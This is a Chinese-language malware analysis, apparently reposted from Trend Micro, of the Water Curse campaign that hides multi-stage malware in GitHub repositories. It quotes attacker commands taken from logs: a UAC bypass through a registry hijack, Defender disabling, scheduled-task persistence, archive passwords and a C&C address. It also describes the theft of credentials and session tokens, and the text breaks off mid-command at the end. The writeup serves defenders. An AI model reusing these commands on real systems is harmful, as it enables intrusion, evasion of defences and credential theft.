GitHub上的开源恶意软件陷阱:Water Curse组织利用虚假仓库传播多阶段恶意软件

趋势科技MDR团队发现Water Curse威胁组织在GitHub上创建76个恶意账户,通过篡改开源工具(如SMTP邮件轰炸器和Sakura-RAT)传播多阶段恶意软件,窃取凭证、浏览器数据和会话令牌,并建立持久性访问。攻击主要针对安全专业人员、开发者和游戏玩家。

初始访问

在此次事件中,我们发现了托管在GitHub上的多个包含嵌入式恶意软件的开源项目文件。恶意载荷通过GitHub的codeload.github.com域下载ZIP存档交付,该域是用于仓库归档的标准端点。我们识别出两个显著的URL:第一个在撰写本文时仍处于活动状态并可访问,而第二个已被撤下或无法访问:

下载文件 GitHub URL
Email-Bomber-SMTP-main.zip hxxps://codeload[.]github[.]com/FrancoK10/Email-Bomber-SMTP/zip/refs/heads/main
Sakura-Rat-Hvnc-Hidden-Browser-Remote-Administration-Trojan-Bot-Native-main.zip hxxps[://]codeload[.]github[.]com/Delimbo/Sakura-Rat-Hvnc-Hidden-Browser-Remote-Administration-Trojan-Bot-Native/zip/refs/heads/main

表1. 包含恶意载荷的URL

执行

项目文件包含在<PreBuildEvent>标签内的恶意批处理文件代码片段,该代码在编译时触发。嵌入的恶意代码会丢弃一个VBS脚本用于下一阶段:

1
2
3
4
parentCmd: "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\amd64\MSBuild.exe" /nologo /nodemode:1 /nodeReuse:true /low:false
processCmd: "C:\WINDOWS\system32\cmd.exe"  /Q /D /C C:\Users\<user>\AppData\Local\Temp\MSBuildTemp\tmp140d0102cb46409c8721486fbf2a46bf.exec.cmd
eventSubId: 101 - TELEMETRY_FILE_CREATE
objectFilePath: C:\Users\<user>\AppData\Local\Temp\ohQ13W\XHa0aaUw9.vbs

VBScript文件使用cscript.exe执行,然后丢弃并执行基于PowerShell的第二阶段脚本。该脚本执行解密或加载额外载荷,使用自定义密钥派生例程:

创建的文件:C:\Users\<user>\AppData\Local\Temp\ohQ13W\FIfw.ps1.ps1

图2. 创建的VBS脚本片段

生成的PowerShell脚本被混淆。根据趋势科技Vision One日志,它执行了以下操作:

操作 备注
查询域名 rlim[.]com, github[.]com, popcorn-soft[.]glitch[.]me, pastejustit[.]com, pastesio[.]com, www[.]7-zip[.]org
在%programdata%文件夹下下载7-Zip工具 C:\ProgramData\sevenZip\7z[.]exe
下载受密码保护的存档文件 C:\Users<user>\AppData\Local\Temp\4359ce22-2f6d-43b8-b34d-063d74715562.7z
使用7-Zip工具在本地Temp文件夹下提取下载的存档 “C:\ProgramData\sevenZip\7z[.]exe” x “C:\Users<user>\AppData\Local\Temp\4359ce22-2f6d-43b8-b34d-063d74715562.7z” -o"C:\Users<user>\AppData\Local\Temp\7478be65-aaf9-4cda-816e-767f25b0ecd9" -phR3^&b2%A9!gK*6LqP7t$NpW -y
运行Searchfilter.exe C:\Users<user>\AppData\Local\Temp\7478be65-aaf9-4cda-816e-767f25b0ecd9\SearchFilter.exe
修改日志文件 C:\ProgramData\PrinterAdapter_xdlp.log

表2. PowerShell脚本执行的操作

提取的文件似乎是一个Electron应用程序。

图3. 从下载的存档文件中提取的内容片段

包中包含一个名为SearchFilter.exe的文件,当从Temp目录执行时,表现出与系统侦察、权限提升、规避和反调试技术一致的执行后行为。

图4. Searchfilter.exe的执行配置文件

存档文件SearchFilter[.]7z (4359ce22-2f6d-43b8-b34d-063d74715562.7z) 丢弃了以下内容:

1
2
3
C:\Users\xxx\AppData\Local\Temp\7478be65-aaf9-4cda-816e-767f25b0ecd9\SearchFilter.exe
C:\Users\xxx\AppData\Local\Temp\4359ce22-2f6d-43b8-b34d-063d74715562.7z
C:\Users\xxx\AppData\Local\Temp\7478be65-aaf9-4cda-816e-767f25b0ecd9\resources\app.asar

解包app.asar揭示了Main.js,其中包含多个恶意的、混淆的命令。(Main.js : d94f476b2aceaf4e83197475280f89ecbe3b8d35 = Backdoor.JS.DULLRAT.EF25)。

从趋势科技Vision One日志中,它执行以下操作:

操作 命令
查询系统上的活动网络会话 net session
检索操作系统架构(例如,32位或64位) powershell -ExecutionPolicy Bypass -Command “(Get-WmiObject Win32_OperatingSystem).OSArchitecture”
检索系统中的逻辑处理器(CPU)数量 powershell -ExecutionPolicy Bypass -Command “(Get-CimInstance -ClassName Win32_ComputerSystem).NumberOfLogicalProcessors”
查询系统上安装的视频控制器(GPU)名称 wmic path win32_videocontroller get name
运行反调试脚本,可能用于隐藏或混淆运行中的进程以进行分析或调试 powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File “C:\Users<user>.vs-script\antiDebug.ps1”
通过劫持Windows注册表中的ms-settings协议处理程序执行UAC绕过 powershell.exe -ExecutionPolicy Bypass -Command “try { New-Item -Path ‘HKCU:\Software\Classes\ms-settings\shell\open\command’ -Force; New-ItemProperty -Path ‘HKCU:\Software\Classes\ms-settings\shell\open\command’ -Name ‘DelegateExecute’ -Value $null -Force; Set-ItemProperty -Path ‘HKCU:\Software\Classes\ms-settings\shell\open\command’ -Name ‘(default)’ -Value ‘C:\Users<user>\AppData\Local\Temp\31c85ac6-c78b-4c07-974c-3132f0f776d7\SearchFilter.exe bypass’ -Force; Write-Output "Regedit manipulation done."; } catch { Write-Output "Failed to create or set registry keys."; exit 1; }”
运行disabledefender.ps1 /d /s /c “PowerShell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command “Start-Process PowerShell -ArgumentList ‘-NoProfile -ExecutionPolicy Bypass -File "C:\Users<user>.vs-script\disabledefender.ps1"’ -WindowStyle Hidden -Verb RunAs””
尝试自动提升权限 powershell.exe -ExecutionPolicy Bypass -Command “Start-Process ‘C:\Windows\System32\ComputerDefaults.exe’”
执行清理脚本 try { Remove-Item -Path ‘HKCU:\Software\Classes\ms-settings\shell\open\command’ -Recurse -Force; Write-Output “Cleanup completed.”; } catch { Write-Output “Failed to remove registry keys.”; }
可能用于日志跟踪 C:\ProgramData\PrinterAdapter_xdlp.log

表3: Main.js文件执行的操作

PowerShell脚本antiDebug.ps1以编程方式枚举并终止与分析、调试和渗透测试工具相关的进程。该脚本强制执行此阻止行为60秒,可能是为了破坏或延迟沙盒或自动化环境中的动态分析,从而逃避早期检测。

另一个PowerShell脚本disabledefender.ps1通过为整个C:\驱动器配置Windows Defender排除项并选择关键系统可执行文件来积极削弱主机防御。它进一步尝试通过执行以下操作来禁用系统还原:

  • 删除现有的卷影副本
  • 停止卷影复制服务(VSS)
  • 修改相关注册表键以防止系统还原被启用或配置

这些操作共同旨在损害恢复机制,并增加恶意载荷的持久性和影响。

图5. disabledefender ps1脚本的代码片段

持久性

SearchFilter.exe文件通过CLI命令创建计划任务:

1
C:\WINDOWS\system32\cmd.exe /d /s /c "schtasks /create /tn "BitLocker Encrypt All Drives" /tr "C:\Users\<user>\AppData\Local\Programs\Common\OneDriveCloud\taskhostw.exe" /st 00:08 /du 9999:59 /sc once /ri 5 /f"

图6. 从Vision One搜索应用捕获的计划任务创建

CLI命令创建一个名为“BitLocker Encrypt All Drives”的计划任务,该任务在00:08运行一个恶意可执行文件(taskhostw.exe)及其Electron启动器和恶意源代码(resources\app.asar)。它被配置为运行9999小时59分钟,执行一次,并每5分钟重复一次。

额外的计划任务配置为在00:00(午夜)启动,每个任务具有异常长的执行窗口9999小时59分钟。这可能是确保长期任务连续性的策略。任务表现出以下行为:

  • RegisterDeviceSecurityAlert:执行名为mbam.ps1的PowerShell脚本,每58分钟重复一次。此任务可能负责维持持续的恶意活动或重新建立持久性。
  • RegisterDevicePowerStateChange:从DiagnosisSync目录启动名为Microsoft.exe的可执行文件,重复间隔为60分钟。此组件可能服务于权限维护、数据收集或命令与控制(C&C)通信的功能。
  • RegisterDeviceNetworkChange:运行位于OneDrive目录内的taskhostw.exe,每10分钟重复一次。这种频繁执行表明可能在监控网络状态变化或维持快速响应能力中扮演角色。

这些计划任务旨在逃避检测并确保在重启和用户会话中持续执行。它们伪装成合法的系统或诊断进程,同时以系统权限运行,授予对主机的最高级别访问权限以维持控制。

一旦位于OneDrive目录内的taskhostw.exe被执行,它会启动以下内容:

1
2
3
OneDriveCloud/resources/manifest/thread_f= 6894aa7c5bb643b8c32c10f6c409bbaae250ea85
resources\app.asar (from taskhostw) = 2fc0686693afd37778cba68702986065e995f765
OneDriveCloud/resources/manifest/config.json = 5cd53d94caf0e811b82bad958b34322eb082567f

图7. 显示resources\app.asar(来自taskhostw)如何导出配置文件(config.json)的代码片段

以下是控制恶意软件行为的配置值(标志、进程名称、互斥体和指示器):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
B_T= Boot
cid= Client ID
ra= RegAsm.exe
dw=datawarehouse
dwm= dwm.exe
m_true= 内存操作或注入
b_f_true = 引导文件或后台文件,确保持久性
k_f_true = 键盘记录功能,恶意软件可能记录击键
t_f_true: 线程注入,允许恶意软件将恶意代码注入运行中的线程/进程
c_true: 外部服务器或C&C基础设施
"mutex": {
"bootMutex": "boot_kFPJjWA9iwHN",
"kernelMutex": "kernel_RATxtkcxKC8I",
"threadMutex": "byunknown998732167231",
"cryptwMutex": "xxx-J3TDLY"
创建互斥体以确保一次只运行一个实例

PowerShell脚本68d9273e-3390-4ec3-b697-baa2ddf701ba.ps1从配置文件Config.json中的cmd和cmd2字段解密。行为分析揭示了以下序列:

  • DLL文件加载尝试:脚本检查是否存在各种名为thumbcache_XX.dll的DLL文件,并尝试加载它们。这些DLL可能用于促进代码注入或支持恶意执行阶段。
  • 加密的载荷文件:加密组件存储在以下路径:
    • OneDriveCloud/resources/manifest/thread_f
    • C:\Users<user>\AppData\Local\Programs\Common\OneDriveCloud\resources\manifest\boot_f
  • 进程注入到RegAsm.exe:这些加密的载荷被解密,然后注入到合法的.NET程序集注册实用程序RegAsm.exe(通常位于C:\Windows\Microsoft.NET\Framework\或Framework64)。此技术通过伪装成受信任的系统进程来逃避检测。
  • PowerShell脚本的自删除:执行后,脚本触发自删除以覆盖痕迹:objectCmd:“C:\WINDOWS\system32\cmd.exe” /c timeout 1 && del /Q “C:\Users<user>\AppData\Local\Temp\68d9273e-3390-4ec3-b697-baa2ddf701ba.ps1”。
  • 最终阶段执行:注入后,RegAsm.exe进程继续运行,恶意载荷在内存中。此执行由文件thread_f、boot_f和可能名为kernel_f(假定位于System32)的另一个文件促进。
  • 出站C&C通信:建立到已知Remcos RAT C&C IP 46[.]101[.]236[.]176的出站连接。

图8. 趋势科技Vision One遥测显示出站连接

收集和渗出

SearchFilter.exe利用先前下载的7z.exe实用程序提取额外的存档,该存档似乎是另一个基于Electron的应用程序。7z.exe工具用于将受密码保护的存档(fqxxoi.7z)解压到伪装成合法Windows Vault路径的用户目录中:

1
CLI命令: "C:\ProgramData\sevenZip\7z.exe" x "C:\Users\<USER>\AppData\Local\Temp\fqxxoi.7z" -pSaToshi780189.! -o"C:\Users\<user>\AppData\Local\Microsoft\Vault\UserProfileProgramFiles" -y

提取的文件包括以下内容:

1
2
3
4
C:\Users\<user>\AppData\Local\Microsoft\Vault\UserProfileProgramFiles\clientfiles\locales\*.pak
C:\Users\<user>\AppData\Local\Microsoft\Vault\UserProfileProgramFiles\clientfiles\Squirrel.exe
C:\Users\<user>\AppData\Local\Microsoft\Vault\UserProfileProgramFiles\UserRoamingTiles.7z
C:\Users\<user>\AppData\Local\Microsoft\Vault\UserProfileProgramFiles\clientfiles\taskhostw.exe

然后使用7-Zip工具提取存档UserRoamingTiles.7z,这是另一个基于Electron的应用程序:

1
CLI命令: C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\ProgramData\sevenZip\7z4.exe" x "C:\Users\<user>\AppData\Local\Microsoft\Vault\UserRoamingTiles.7z" -o"C:\Users\<user>\AppData\Local\Microsoft\Vault\UserRoamingTiles" -y"

提取的文件包括以下内容:

1
2
C:\Users\<user>\AppData\Local\Microsoft\Vault\UserRoamingTiles\NVIDIAContainer\*
C:\Users\<user>\AppData\Local\Microsoft\Vault\UserRoamingTiles\NVIDIAContainer\NVIDIA Control Panel.exe

然后从提取的位置运行此可执行文件,可能伪装成合法组件并逃避检测。执行后,它收集系统和网络信息,可能用于环境分析、反虚拟化检查和目标逻辑。观察到的行为包括:

  • 使用curl通过CLI命令检查公共IP以获取网络上下文:curl hxxp://api[.]ipify[.]org/ --ssl-no-revoke
  • 通过WMI/WMIC查询(BIOS、CPU ID、内存速度、GPU名称、主板供应商、UUID、硬件配置文件GUID)进行硬件指纹识别
  • 使用Windows版本查询和磁盘空间信息进行系统分析
  • 使用tasklist进行进程发现,过滤Chrome和Edge等浏览器
  • 从非标准路径执行可疑二进制文件(NVIDIA Control Panel.exe),表明伪装或侧载恶意软件

然后恶意软件执行凭证访问、系统枚举和数据暂存以进行渗出。该工具系统性地执行以下操作:

  • 从浏览器配置文件(例如Chrome、Edge、Firefox)收集敏感用户数据,包括保存的密码、自动填充数据、浏览历史、cookie、书签和下载。
  • 从以下位置渗出会话工件:
    • GitHub(github_VYO.txt)— 可能是访问令牌或会话cookie。
    • ChatGPT(chatgpt_JQY.txt)— 表明窃取会话令牌或AI使用元数据。
  • 创建有组织的暂存目录(_8954\)用于提取和存储数据。
  • 使用7-Zip(7z.exe)打包数据并准备RDP配置文件(Default.rdp),可能用于后续远程访问或横向移动。

命令将文件从临时目录压缩到高度压缩的7-Zip存档“stealFiles.7z”中,位于用户的本地数据文件夹中,表明数据已准备好进行潜在的渗出。CLI命令包括:

1
"C:\ProgramData\sevenZip\7z.exe" a -t7z
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计